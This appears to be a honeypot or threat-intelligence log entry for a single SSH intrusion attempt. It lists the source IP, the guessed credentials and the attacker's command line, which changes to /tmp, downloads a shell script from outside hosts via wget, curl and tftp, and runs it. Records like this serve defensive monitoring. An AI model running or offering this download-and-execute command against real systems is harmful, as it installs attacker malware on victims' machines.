Details

ID	2ba5ddea-f5c1-48be-ab61-d7b361e37695
Attack Type	ssh
IP Address	141.98.10.162
Username	elk_user
Password	forensics
Client Version
Country
Date	2025-07-01 08:18AM

Commands

cd /tmp; wget http://107.150.0.18/ssh.sh -O- |sh;curl -o http://107.150.0.18/ssh.sh -O-|sh; tftp -r ssh.sh -g 213.209.143.44; chmod 777 ssh.sh; sh ssh.sh;\n

Proxy Requests

	IP Address	User / Pass	Date	Headers	URL